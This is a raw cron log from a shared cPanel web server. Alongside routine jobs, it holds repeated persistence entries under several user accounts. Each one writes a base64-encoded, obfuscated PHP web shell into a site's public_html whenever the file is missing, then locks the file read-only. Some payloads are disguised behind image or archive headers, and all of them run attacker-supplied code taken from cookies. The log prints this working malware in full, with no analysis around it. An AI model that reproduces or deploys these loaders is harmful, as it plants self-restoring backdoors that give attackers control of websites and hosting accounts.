Mar  2 09:28:01 medusa CROND[30588]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:28:01 medusa CROND[30593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:28:01 medusa CROND[30594]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:28:01 medusa CROND[30595]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 09:28:01 medusa CROND[30596]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:28:01 medusa CROND[30597]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:28:01 medusa CROND[30598]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:28:01 medusa CROND[30602]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:28:01 medusa CROND[30611]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 09:28:01 medusa CROND[30613]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:29:01 medusa CROND[14573]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:29:01 medusa CROND[14574]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 09:29:01 medusa CROND[14575]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 09:29:01 medusa CROND[14576]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:29:01 medusa CROND[14577]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:29:01 medusa CROND[14581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:29:01 medusa CROND[14579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:29:01 medusa CROND[14583]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:29:01 medusa CROND[14585]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:29:01 medusa CROND[14586]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:29:01 medusa CROND[14587]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:29:01 medusa CROND[14589]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:29:01 medusa CROND[14590]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:30:01 medusa CROND[32191]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 09:30:02 medusa CROND[32407]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 09:30:02 medusa CROND[32408]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 09:30:02 medusa CROND[32409]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 09:30:02 medusa CROND[32414]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:30:02 medusa CROND[32417]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:30:02 medusa CROND[32418]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 09:30:02 medusa CROND[32415]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 09:30:02 medusa CROND[32419]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 09:30:02 medusa CROND[32420]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 09:30:02 medusa CROND[32422]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 09:30:02 medusa CROND[32410]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 09:30:02 medusa CROND[32430]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 09:30:02 medusa CROND[32432]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 09:30:02 medusa CROND[32435]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:30:02 medusa CROND[32438]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
